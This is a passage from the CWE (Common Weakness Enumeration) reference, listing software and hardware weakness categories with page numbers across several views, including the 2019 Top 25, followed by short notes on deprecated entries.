- CWE-274: Improper Handling of Insufficient Privileges *(p.604)*
- CWE-333: Improper Handling of Insufficient Entropy in TRNG *(p.740)*

- CWE-234: Failure to Handle Missing Parameter *(p.526)*
- CWE-235: Improper Handling of Extra Parameters *(p.529)*
- CWE-236: Improper Handling of Undefined Parameters *(p.530)*

CWE-237: Improper Handling of Structural Elements *(p.531)*
- CWE-238: Improper Handling of Incomplete Structural Elements *(p.531)*
- CWE-239: Failure to Handle Incomplete Element *(p.532)*
- CWE-240: Improper Handling of Inconsistent Structural Elements *(p.533)*
  - CWE-130: Improper Handling of Length Parameter Inconsistency *(p.321)*

CWE-241: Improper Handling of Unexpected Data Type *(p.534)*

CWE-240: Improper Handling of Inconsistent Structural Elements *(p.533)*

CWE-130: Improper Handling of Length Parameter Inconsistency *(p.321)*

CWE-463: Deletion of Data Structure Sentinel *(p.984)*

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') *(p.130)*

CWE-1236: Improper Neutralization of Formula Elements in a CSV File *(p.1756)*

CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) *(p.134)*
- CWE-76: Improper Neutralization of Equivalent Special Elements *(p.135)*

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') *(p.136)*
- CWE-624: Executable Regular Expression Error *(p.1236)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
- CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') *(p.1598)*

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-692: Incomplete Denylist to Cross-Site Scripting *(p.1343)*
- CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) *(p.165)*

- CWE-81: Improper Neutralization of Script in an Error Message Web Page *(p.167)*
- CWE-83: Improper Neutralization of Script in Attributes in a Web Page *(p.171)*
  - CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page *(p.169)*
- CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page *(p.173)*
- CWE-85: Doubled Character XSS Manipulations *(p.175)*
- CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages *(p.177)*
- CWE-87: Improper Neutralization of Alternate XSS Syntax *(p.179)*

CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') *(p.1263)*
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') *(p.1278)*

CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') *(p.202)*
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') *(p.251)*

CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') *(p.209)*
- CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p.213)*
  - CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page *(p.216)*

CWE-943: Improper Neutralization of Special Elements in Data Query Logic *(p.1624)*
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') *(p.1263)*
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') *(p.1278)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
  - CWE-564: SQL Injection: Hibernate *(p.1139)*
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p.198)*

CWE-99: Improper Control of Resource Identifiers ('Resource Injection') *(p.224)*
- CWE-641: Improper Restriction of Names for Files and Other Resources *(p.1256)*
- CWE-694: Use of Multiple Resources with Duplicate Identifier *(p.1346)*
  - CWE-102: Struts: Duplicate Validation Forms *(p.227)*
  - CWE-462: Duplicate Key in Associative List (Alist) *(p.983)*
- CWE-914: Improper Control of Dynamically-Identified Variables *(p.1589)*
  - CWE-621: Variable Extraction Error *(p.1231)*
  - CWE-627: Dynamic Variable Evaluation *(p.1241)*

CWE-710: Improper Adherence to Coding Standards *(p.1365)*
- CWE-1041: Use of Redundant Code *(p.1643)*
- CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range *(p.1646)*
- CWE-1048: Invokable Control Element with Large Number of Outward Calls *(p.1650)*
- CWE-1059: Incomplete Documentation *(p.1661)*
  - CWE-1053: Missing Documentation for Design *(p.1655)*
  - CWE-1110: Incomplete Design Documentation *(p.1707)*
  - CWE-1111: Incomplete I/O Documentation *(p.1708)*
  - CWE-1112: Incomplete Documentation of Program Execution *(p.1709)*
  - CWE-1118: Insufficient Documentation of Error Handling Techniques *(p.1713)*
- CWE-1061: Insufficient Encapsulation *(p.1663)*
  - CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer *(p.1656)*
  - CWE-1057: Data Access Operations Outside of Expected Data Manager Component *(p.1659)*
  - CWE-1062: Parent Class with References to Child Class *(p.1664)*
  - CWE-1083: Data Access from Outside Expected Data Manager Component *(p.1683)*
  - CWE-1090: Method Containing Access of a Member Element from Another Class *(p.1690)*
  - CWE-1100: Insufficient Isolation of System-Dependent Functions *(p.1699)*

- CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality *(p.1703)*
  - CWE-188: Reliance on Data/Memory Layout *(p.435)*
    - CWE-198: Use of Incorrect Byte Ordering *(p.465)*
  - CWE-766: Critical Data Element Declared Public *(p.1415)*
- CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers *(p.1667)*
- CWE-1066: Missing Serialization Control Element *(p.1668)*
- CWE-1068: Inconsistency Between Implementation and Documented Design *(p.1670)*
- CWE-107: Struts: Unused Validation Form *(p.239)*
- CWE-1070: Serializable Data Element Containing non-Serializable Item Elements *(p.1671)*
- CWE-1076: Insufficient Adherence to Expected Conventions *(p.1677)*
  - CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor *(p.1647)*
  - CWE-1078: Inappropriate Source Code Style or Formatting *(p.1679)*
    - CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code *(p.1685)*
    - CWE-1099: Inconsistent Naming Conventions for Identifiers *(p.1699)*
    - CWE-1106: Insufficient Use of Symbolic Constants *(p.1704)*
    - CWE-1107: Insufficient Isolation of Symbolic Constant Definitions *(p.1705)*
    - CWE-1109: Use of Same Variable for Multiple Purposes *(p.1707)*
    - CWE-1113: Inappropriate Comment Style *(p.1709)*
    - CWE-1114: Inappropriate Whitespace Style *(p.1710)*
    - CWE-1115: Source Code Element without Standard Prologue *(p.1711)*
    - CWE-1116: Inaccurate Comments *(p.1712)*
    - CWE-1117: Callable with Insufficient Behavioral Summary *(p.1712)*
    - CWE-546: Suspicious Comment *(p.1118)*
    - CWE-547: Use of Hard-coded, Security-relevant Constants *(p.1120)*
  - CWE-1079: Parent Class without Virtual Destructor Method *(p.1680)*
  - CWE-1082: Class Instance Self Destruction Control Element *(p.1682)*
  - CWE-1087: Class with Virtual Method without a Virtual Destructor *(p.1687)*
  - CWE-1091: Use of Object without Invoking Destructor Method *(p.1691)*
  - CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element *(p.1697)*
  - CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element *(p.1698)*
  - CWE-1108: Excessive Reliance on Global Variables *(p.1706)*
  - CWE-586: Explicit Call to Finalize() *(p.1174)*
- CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers *(p.1692)*
- CWE-1093: Excessively Complex Data Representation *(p.1693)*
  - CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements *(p.1645)*
  - CWE-1055: Multiple Inheritance from Concrete Classes *(p.1657)*
  - CWE-1074: Class with Excessively Deep Inheritance *(p.1675)*
  - CWE-1086: Class with Excessive Number of Child Classes *(p.1686)*
- CWE-110: Struts: Validator Without Form Field *(p.245)*
- CWE-1101: Reliance on Runtime Component in Generated Code *(p.1700)*
- CWE-1104: Use of Unmaintained Third Party Components *(p.1703)*
- CWE-1120: Excessive Code Complexity *(p.1715)*
  - CWE-1047: Modules with Circular Dependencies *(p.1649)*
  - CWE-1056: Invokable Control Element with Variadic Parameters *(p.1658)*
  - CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses *(p.1662)*
  - CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters *(p.1666)*
  - CWE-1075: Unconditional Control Flow Transfer outside of Switch Block *(p.1676)*
  - CWE-1080: Source Code File with Excessive Number of Lines of Code *(p.1681)*
  - CWE-1095: Loop Condition Value Update within the Loop *(p.1695)*
  - CWE-1119: Excessive Use of Unconditional Branching *(p.1714)*

- CWE-1121: Excessive McCabe Cyclomatic Complexity *(p.1716)*
- CWE-1122: Excessive Halstead Complexity *(p.1717)*
- CWE-1123: Excessive Use of Self-Modifying Code *(p.1717)*
- CWE-1124: Excessively Deep Nesting *(p.1718)*
- CWE-1125: Excessive Attack Surface *(p.1719)*

- CWE-1126: Declaration of Variable with Unnecessarily Wide Scope *(p.1720)*
- CWE-1127: Compilation with Insufficient Warnings or Errors *(p.1720)*
- CWE-1164: Irrelevant Code *(p.1721)*
  - CWE-1071: Empty Code Block *(p.1672)*
    - CWE-1069: Empty Exception Block *(p.1670)*
    - CWE-585: Empty Synchronized Block *(p.1172)*
  - CWE-561: Dead Code *(p.1133)*
  - CWE-563: Assignment to Variable without Use *(p.1137)*
- CWE-1177: Use of Prohibited Code *(p.1725)*
  - CWE-242: Use of Inherently Dangerous Function *(p.536)*
  - CWE-676: Use of Potentially Dangerous Function *(p.1317)*
    - CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer *(p.1459)*
- CWE-1209: Failure to Disable Reserved Bits *(p.1733)*
- CWE-476: NULL Pointer Dereference *(p.1009)*
  - CWE-690: Unchecked Return Value to NULL Pointer Dereference *(p.1339)*
- CWE-477: Use of Obsolete Function *(p.1015)*
- CWE-484: Omitted Break Statement in Switch *(p.1034)*
- CWE-489: Active Debug Code *(p.1042)*
  - CWE-11: ASP.NET Misconfiguration: Creating Debug Binary *(p.9)*
- CWE-506: Embedded Malicious Code *(p.1077)*
  - CWE-507: Trojan Horse *(p.1079)*
    - CWE-508: Non-Replicating Malicious Code *(p.1080)*
    - CWE-509: Replicating Malicious Code (Virus or Worm) *(p.1081)*
  - CWE-510: Trapdoor *(p.1082)*
  - CWE-511: Logic/Time Bomb *(p.1084)*
  - CWE-512: Spyware *(p.1085)*
- CWE-570: Expression is Always False *(p.1147)*
- CWE-571: Expression is Always True *(p.1150)*
- CWE-573: Improper Following of Specification by Caller *(p.1153)*
  - CWE-103: Struts: Incomplete validate() Method Definition *(p.229)*
  - CWE-104: Struts: Form Bean Does Not Extend Validation Class *(p.231)*
  - CWE-243: Creation of chroot Jail Without Changing Working Directory *(p.538)*
  - CWE-253: Incorrect Check of Function Return Value *(p.560)*
  - CWE-296: Improper Following of a Certificate's Chain of Trust *(p.653)*
  - CWE-304: Missing Critical Step in Authentication *(p.671)*
  - CWE-325: Missing Required Cryptographic Step *(p.717)*
  - CWE-329: Not Using a Random IV with CBC Mode *(p.729)*
  - CWE-358: Improperly Implemented Security Check for Standard *(p.786)*
  - CWE-475: Undefined Behavior for Input to API *(p.1008)*
  - CWE-568: finalize() Method Without super.finalize() *(p.1146)*
  - CWE-577: EJB Bad Practices: Use of Sockets *(p.1161)*
  - CWE-578: EJB Bad Practices: Use of Class Loader *(p.1162)*
  - CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session *(p.1164)*
  - CWE-580: clone() Method Without super.clone() *(p.1166)*
  - CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p.1167)*
  - CWE-628: Function Call with Incorrectly Specified Arguments *(p.1243)*
    - CWE-683: Function Call With Incorrect Order of Arguments *(p.1330)*
    - CWE-685: Function Call With Incorrect Number of Arguments *(p.1333)*
    - CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
    - CWE-687: Function Call With Incorrectly Specified Argument Value *(p.1335)*

- CWE-560: Use of umask() with chmod-style Argument *(p.1132)*
- CWE-688: Function Call With Incorrect Variable or Reference as Argument *(p.1337)*

- CWE-675: Duplicate Operations on Resource *(p.1316)*
  - CWE-174: Double Decoding of the Same Data *(p.403)*
  - CWE-415: Double Free *(p.901)*
  - CWE-605: Multiple Binds to the Same Port *(p.1205)*
  - CWE-764: Multiple Locks of a Critical Resource *(p.1413)*
  - CWE-765: Multiple Unlocks of a Critical Resource *(p.1414)*
- CWE-694: Use of Multiple Resources with Duplicate Identifier *(p.1346)*
  - CWE-102: Struts: Duplicate Validation Forms *(p.227)*
  - CWE-462: Duplicate Key in Associative List (Alist) *(p.983)*
- CWE-695: Use of Low-Level Functionality *(p.1347)*
  - CWE-111: Direct Use of Unsafe JNI *(p.247)*
  - CWE-245: J2EE Bad Practices: Direct Management of Connections *(p.541)*
  - CWE-246: J2EE Bad Practices: Direct Use of Sockets *(p.543)*
  - CWE-383: J2EE Bad Practices: Direct Use of Threads *(p.837)*
  - CWE-574: EJB Bad Practices: Use of Synchronization Primitives *(p.1155)*
  - CWE-575: EJB Bad Practices: Use of AWT Swing *(p.1156)*
  - CWE-576: EJB Bad Practices: Use of Java I/O *(p.1159)*

- CWE-594: J2EE Framework: Saving Unserializable Objects to Disk *(p.1185)*

- CWE-657: Violation of Secure Design Principles *(p.1287)*
  - CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers *(p.1731)*
  - CWE-250: Execution with Unnecessary Privileges *(p.547)*
  - CWE-636: Not Failing Securely ('Failing Open') *(p.1245)*
    - CWE-455: Non-exit on Failed Initialization *(p.969)*
  - CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') *(p.1247)*
  - CWE-638: Not Using Complete Mediation *(p.1249)*
    - CWE-424: Improper Protection of Alternate Path *(p.914)*
      - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-653: Insufficient Compartmentalization *(p.1279)*
  - CWE-654: Reliance on a Single Factor in a Security Decision *(p.1281)*
    - CWE-308: Use of Single-factor Authentication *(p.682)*
    - CWE-309: Use of Password System for Primary Authentication *(p.684)*
  - CWE-655: Insufficient Psychological Acceptability *(p.1283)*
  - CWE-656: Reliance on Security Through Obscurity *(p.1285)*
  - CWE-671: Lack of Administrator Control over Security *(p.1309)*
    - CWE-447: Unimplemented or Unsupported Feature in UI *(p.957)*
    - CWE-798: Use of Hard-coded Credentials *(p.1486)*
      - CWE-259: Use of Hard-coded Password *(p.569)*
      - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*

- CWE-684: Incorrect Provision of Specified Functionality *(p.1332)*
  - CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic *(p.1767)*
  - CWE-392: Missing Report of Error Condition *(p.853)*
  - CWE-393: Return of Wrong Status Code *(p.854)*
  - CWE-440: Expected Behavior Violation *(p.949)*
  - CWE-446: UI Discrepancy for Security Feature *(p.956)*
    - CWE-447: Unimplemented or Unsupported Feature in UI *(p.957)*
    - CWE-448: Obsolete Feature in UI *(p.959)*
    - CWE-449: The UI Performs the Wrong Action *(p.960)*
  - CWE-451: User Interface (UI) Misrepresentation of Critical Information *(p.962)*
    - CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User *(p.1628)*
    - CWE-1021: Improper Restriction of Rendered UI Layers or Frames *(p.1631)*

- CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*
  - CWE-1038: Insecure Automated Optimizations *(p.1641)*

- CWE-1037: Processor Optimization Removal or Modification of Security-critical Code *(p.1639)*
- CWE-733: Compiler Optimization Removal or Modification of Security-critical Code *(p.1375)*
  - CWE-14: Compiler Removal of Code to Clear Buffers *(p.14)*
- CWE-1102: Reliance on Machine-Dependent Data Representation *(p.1701)*
- CWE-1103: Use of Platform-Dependent Third Party Components *(p.1702)*
- CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality *(p.1703)*
- CWE-188: Reliance on Data/Memory Layout *(p.435)*
  - CWE-198: Use of Incorrect Byte Ordering *(p.465)*
- CWE-474: Use of Function with Inconsistent Implementations *(p.1006)*
  - CWE-589: Call to Non-ubiquitous API *(p.1178)*
- CWE-562: Return of Stack Variable Address *(p.1136)*
- CWE-587: Assignment of a Fixed Address to a Pointer *(p.1175)*
- CWE-588: Attempt to Access Child of a Non-structure Pointer *(p.1177)*

CWE-912: Hidden Functionality *(p.1587)*

Graph View: CWE-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

- CWE-20: Improper Input Validation *(p.19)*
  - CWE-129: Improper Validation of Array Index *(p.312)*
- CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') *(p.130)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*

- CWE-404: Improper Resource Shutdown or Release *(p.877)*
- CWE-459: Incomplete Cleanup *(p.978)*
- CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
- CWE-773: Missing Reference to Active File Descriptor or Handle *(p.1436)*
- CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime *(p.1439)*
- CWE-771: Missing Reference to Active Allocated Resource *(p.1430)*
- CWE-910: Use of Expired File Descriptor *(p.1584)*
- CWE-666: Operation on Resource in Wrong Phase of Lifetime *(p.1298)*
- CWE-672: Operation on a Resource after Expiration or Release *(p.1310)*
- CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*
- CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
- CWE-685: Function Call With Incorrect Number of Arguments *(p.1333)*

CWE-1165: SEI CERT C Coding Standard - Guidelines 10. Environment (ENV) *(p.1999)*

- CWE-705: Incorrect Control Flow Scoping *(p.1359)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*

CWE-1166: SEI CERT C Coding Standard - Guidelines 11. Signals (SIG) *(p.2000)*

- CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*
- CWE-662: Improper Synchronization *(p.1288)*

CWE-1167: SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR) *(p.2000)*

- CWE-456: Missing Initialization of a Variable *(p.971)*

- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-253: Incorrect Check of Function Return Value *(p.560)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*

CWE-1168: SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API) *(p.2001)*

CWE-1169: SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON) *(p.2001)*

- CWE-667: Improper Locking *(p.1299)*
- CWE-366: Race Condition within a Thread *(p.809)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-330: Use of Insufficiently Random Values *(p.730)*
- CWE-377: Insecure Temporary File *(p.829)*

CWE-1170: SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC) *(p.2002)*

- CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
- CWE-330: Use of Insufficiently Random Values *(p.730)*
- CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-331: Insufficient Entropy *(p.736)*
- CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*

CWE-1171: SEI CERT C Coding Standard - Guidelines 50. POSIX (POS) *(p.2003)*

- CWE-170: Improper Null Termination *(p.395)*
- CWE-242: Use of Inherently Dangerous Function *(p.536)*
- CWE-363: Race Condition Enabling Link Following *(p.801)*
- CWE-696: Incorrect Behavior Order *(p.1348)*
- CWE-273: Improper Check for Dropped Privileges *(p.601)*
- CWE-667: Improper Locking *(p.1299)*
- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-253: Incorrect Check of Function Return Value *(p.560)*

CWE-1172: SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN) *(p.2003)*

- CWE-762: Mismatched Memory Management Routines *(p.1405)*
- CWE-590: Free of Memory not on the Heap *(p.1179)*

Graph View: CWE-1178: Weaknesses Addressed by the SEI CERT Perl Coding Standard

- C CWE-1179: SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS) *(p.2004)*
- C CWE-1180: SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL) *(p.2004)*
- C CWE-1181: SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP) *(p.2005)*

- C CWE-1186: SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC) *(p.2007)*

Graph View: CWE-1194: Hardware Design

- CWE-1195: Manufacturing and Life Cycle Management Concerns *(p.2007)*
  - CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications *(p.1773)*
  - CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device *(p.1805)*
  - CWE-1269: Product Released in Non-Release Configuration *(p.1810)*
  - CWE-1273: Device Unlock Credential Sharing *(p.1818)*
  - CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques *(p.1827)*
- CWE-1196: Security Flow Issues *(p.2008)*
  - CWE-1190: DMA Device Enabled Too Early in Boot Phase *(p.1728)*
  - CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control *(p.1732)*
  - CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels *(p.1800)*
  - CWE-1274: Insufficient Protections on the Volatile Memory Containing Boot Code *(p.1820)*
  - CWE-1283: Mutable Attestation or Measurement Reporting Data *(p.1836)*
- CWE-1197: Integration Issues *(p.2008)*
  - CWE-1276: Hardware Block Incorrectly Connected to Larger System *(p.1823)*
- CWE-1198: Privilege Separation and Access Control Issues *(p.2008)*
  - CWE-276: Incorrect Default Permissions *(p.606)*
  - CWE-1189: Improper Isolation of Shared Resources on System-on-Chip (SoC) *(p.1726)*
  - CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers *(p.1731)*
  - CWE-1220: Insufficient Granularity of Access Control *(p.1735)*
  - CWE-1242: Inclusion of Undocumented Features or Chicken Bits *(p.1762)*
  - CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges *(p.1792)*
  - CWE-1262: Register Interface Allows Software Access to Sensitive Data or Security Settings *(p.1797)*
  - CWE-1259: Improper Protection of Security Identifiers *(p.1790)*
  - CWE-1267: Policy Uses Obsolete Encoding *(p.1806)*
  - CWE-1268: Agents Included in Control Policy are not Contained in Less-Privileged Policy *(p.1808)*
  - CWE-1270: Generation of Incorrect Security Identifiers *(p.1813)*
  - CWE-1280: Access Control Check Implemented After Asset is Accessed *(p.1831)*
- CWE-1199: General Circuit and Logic Design Concerns *(p.2009)*
  - CWE-1209: Failure to Disable Reserved Bits *(p.1733)*
  - CWE-1221: Incorrect Register Defaults or Module Parameters *(p.1737)*
  - CWE-1223: Race Condition for Write-Once Attributes *(p.1741)*
  - CWE-1224: Improper Restriction of Write-Once Bit Fields *(p.1743)*
  - CWE-1231: Improper Implementation of Lock Protection Registers *(p.1747)*
  - CWE-1232: Improper Lock Behavior After Power State Transition *(p.1748)*
  - CWE-1233: Improper Hardware Lock Protection for Security Sensitive Controls *(p.1750)*
  - CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks *(p.1751)*
  - CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic *(p.1767)*
  - CWE-1253: Incorrect Selection of Fuse Values *(p.1782)*
  - CWE-1254: Incorrect Comparison Logic Granularity *(p.1783)*
  - CWE-1259: Improper Protection of Security Identifiers *(p.1790)*
  - CWE-1261: Improper Handling of Single Event Upsets *(p.1795)*
  - CWE-1270: Generation of Incorrect Security Identifiers *(p.1813)*
- CWE-1201: Core and Compute Issues *(p.2010)*
  - CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations *(p.1780)*
  - CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior (Halt and Catch Fire) *(p.1833)*
- CWE-1202: Memory and Storage Issues *(p.2010)*
  - CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse *(p.517)*
  - CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories *(p.1769)*
  - CWE-1251: Mirrored Regions with Different Values *(p.1778)*
  - CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions *(p.1787)*

- CWE-1282: Assumed-Immutable Data Stored in Writable Memory *(p.1835)*

CWE-1203: Peripherals, On-chip Fabric, and Interface/IO Problems *(p.2010)*

CWE-1205: Security Primitives and Cryptography Issues *(p.2011)*

- CWE-203: Observable Discrepancy *(p.478)*
- CWE-325: Missing Required Cryptographic Step *(p.717)*
- CWE-1240: Use of a Risky Cryptographic Primitive *(p.1759)*
- CWE-1241: Use of Predictable Algorithm in Random Number Generator *(p.1761)*
- CWE-1279: Cryptographic Primitives used without Successful Self-Test *(p.1829)*

CWE-1206: Power, Clock, and Reset Concerns *(p.2011)*

- CWE-1232: Improper Lock Behavior After Power State Transition *(p.1748)*
- CWE-1247: Missing Protection Against Voltage and Clock Glitches *(p.1770)*
- CWE-1256: Hardware Features Enable Physical Attacks from Software *(p.1785)*
- CWE-1271: Missing Known Value on Reset for Registers Holding Security Settings *(p.1814)*

CWE-1207: Debug and Test Problems *(p.2011)*

- CWE-1191: Exposed Chip Debug and or Test Interface With Insufficient Access Control *(p.1729)*
- CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks *(p.1751)*
- CWE-1243: Exposure of Security-Sensitive Fuse Values During Debug *(p.1764)*
- CWE-1244: Improper Authorization on Physical Debug and Test Interfaces *(p.1765)*
- CWE-1258: Sensitive Information Uncleared During Hardware Debug Flows *(p.1789)*
- CWE-1272: Debug/Power State Transitions Leak Information *(p.1816)*

CWE-1208: Cross-Cutting Problems *(p.2012)*

- CWE-440: Expected Behavior Violation *(p.949)*
- CWE-1053: Missing Documentation for Design *(p.1655)*
- CWE-1263: Insufficient Physical Protection Mechanism *(p.1798)*
- CWE-1277: Firmware Not Updateable *(p.1825)*
- CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques *(p.1827)*

Graph View: CWE-1200: Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors

- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-20: Improper Input Validation *(p.19)*
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor *(p.466)*
- CWE-125: Out-of-bounds Read *(p.302)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-416: Use After Free *(p.904)*
- CWE-190: Integer Overflow or Wraparound *(p.437)*
- CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-787: Out-of-bounds Write *(p.1463)*
- CWE-287: Improper Authentication *(p.630)*
- CWE-476: NULL Pointer Dereference *(p.1009)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
- CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
- CWE-611: Improper Restriction of XML External Entity Reference *(p.1215)*
- CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
- CWE-798: Use of Hard-coded Credentials *(p.1486)*
- CWE-400: Uncontrolled Resource Consumption *(p.864)*
- CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
- CWE-426: Untrusted Search Path *(p.917)*
- CWE-502: Deserialization of Untrusted Data *(p.1072)*
- CWE-269: Improper Privilege Management *(p.589)*
- CWE-295: Improper Certificate Validation *(p.648)*

Deprecated

CWE-1: DEPRECATED: Location

CWE ID : 1 **Status:** Deprecated

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-3: DEPRECATED: Technology-specific Environment Issues

CWE ID : 3 **Status:** Deprecated

Summary

This category has been deprecated. It was originally intended as a "catch-all" for environment issues for technologies that did not have their own CWE, but it introduced unnecessary depth and complexity to the Development View (CWE-699).

CWE-4: DEPRECATED: J2EE Environment Issues

CWE ID : 4 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-10: DEPRECATED: ASP.NET Environment Issues

CWE ID : 10 **Status:** Deprecated

Summary

This category has been deprecated. It added unnecessary depth and complexity to its associated views.

CWE-17: DEPRECATED: Code

CWE ID : 17 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-18: DEPRECATED: Source Code

CWE ID : 18 **Status:** Deprecated

Summary

This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.

CWE-21: DEPRECATED: Pathname Traversal and Equivalence Errors

CWE ID : 21 **Status:** Deprecated

Summary

